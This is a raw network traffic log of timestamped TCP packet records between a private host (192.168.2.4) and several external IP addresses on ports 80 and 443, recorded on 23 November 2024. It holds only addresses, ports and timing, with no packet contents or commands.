Nov 23, 2024 15:22:32.306941986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.306981087 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.307030916 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.307617903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.308134079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.308298111 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.308305979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.308402061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.309319973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.309437037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.309465885 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.309528112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.310483932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.310620070 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.310724020 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.310846090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.311896086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.312001944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.312010050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.312102079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.312870026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.312971115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.312994003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.313142061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.314053059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.314199924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.314238071 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.314311028 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.315228939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.315335989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.315365076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.315469027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.316406965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.316543102 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.316545963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.316616058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.317611933 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.317707062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.317770958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.317852974 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.318774939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.318871975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.318913937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.318991899 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.319993973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.320120096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.320209026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.321171999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.321371078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.321434975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.321533918 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.322321892 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.322453022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.322494984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.322572947 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.323493958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.323570967 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.323611975 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.323681116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.324675083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.324789047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.324821949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.324903965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.325915098 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.325932026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.325980902 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.325980902 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.327081919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.327177048 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.327199936 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.327260971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.328229904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.328342915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.328366041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.328429937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.329427004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.329524994 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.329550982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.329727888 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.330604076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.330674887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.377991915 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.378910065 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.378911018 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.378988981 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.379019976 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.422616005 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.423194885 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.423260927 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.423594952 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.423610926 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.428004980 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.429459095 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.429474115 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.429675102 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.429680109 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.434462070 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.436105013 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.436131001 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.436587095 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.436590910 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.451044083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.451073885 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.451145887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.451641083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.451750040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.451786041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.451903105 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.452825069 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.452851057 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:32.452893019 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.452946901 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.452956915 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:32.453011036 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.453018904 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:32.453253031 CET	49822	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:32.453284979 CET	443	49822	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:32.454030991 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.454138041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.454174042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.454687119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.455198050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.455322027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.455811024 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.456422091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.456501961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.456552029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.456644058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.457556009 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.457643032 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.457649946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.457680941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.468301058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.468395948 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.468440056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.468472004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.468673944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.468764067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.468797922 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.468842030 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.469851971 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.469938040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.469942093 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.470052958 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.470992088 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.471110106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.471129894 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.471189976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.472201109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.472258091 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.472301960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.472459078 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.473372936 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.473498106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.473516941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.473633051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.474553108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.474656105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.475327969 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.475769043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.475848913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.475887060 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.475982904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.476928949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.476984024 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.477154970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.477229118 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.478121996 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.478185892 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.478231907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.478581905 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.479294062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.479358912 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.479402065 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.479495049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.480473995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.480519056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.480568886 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.480781078 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.481671095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.481765032 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.481775045 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.481828928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.482857943 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.482933044 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.482954025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.483011961 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.484051943 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.484205008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.484239101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.484329939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.485225916 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.485315084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.485328913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.485384941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.486414909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.486510992 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.486517906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.486687899 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.487590075 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.487706900 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.487713099 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.487879038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.488782883 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.488857031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.488887072 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.488970995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.489955902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.490118027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.490178108 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.491122961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.491251945 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.491540909 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.492310047 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.492423058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.492511988 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.493494987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.493607044 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.493638039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.493747950 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.494687080 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.494784117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.494795084 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.494941950 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.495887041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.495956898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.496026039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.496026039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.497072935 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.497160912 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.497184038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.497303009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.498234034 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.498336077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.498357058 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.498482943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.499191046 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:32.499433041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.499525070 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.499562025 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.499658108 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.500642061 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.500744104 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.500804901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.501782894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.501910925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.501950026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.502208948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.502692938 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:32.502742052 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:32.503030062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.503130913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.503132105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.503227949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.503571987 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:32.503598928 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:32.503650904 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:32.503670931 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:32.504265070 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.504344940 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.504446983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.504591942 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.505413055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.505502939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.505639076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.505739927 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.506664038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.506731033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.506758928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.506822109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.507725954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.507808924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.507853031 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.508094072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.508899927 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.508980036 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.509011030 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.509113073 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.510073900 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.510191917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.510193110 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.510369062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.511286020 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.511342049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.511382103 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.511451960 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.512459993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.512581110 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.512681007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.512775898 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.513642073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.513751030 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.513784885 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.513884068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.514811039 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.514869928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.514909983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.515018940 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.516021967 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.516098022 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.516140938 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.516357899 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.517184973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.517246962 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.517293930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.517335892 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.518362999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.518424034 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.518476009 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.518573999 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.519578934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.519634962 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.519675970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.519804001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.520746946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.520852089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.520859003 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.520921946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.521927118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.521976948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.522003889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.522222042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.528614044 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.529123068 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.529154062 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.529529095 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.529536009 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.536137104 CET	49831	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:32.536175013 CET	443	49831	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:32.536307096 CET	49831	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:32.536653996 CET	49831	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:32.536676884 CET	443	49831	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:32.642990112 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.643111944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.643120050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.643196106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.643539906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.643623114 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.643843889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.643913984 CET	80	49823	185.215.113.16	192.168.2.4
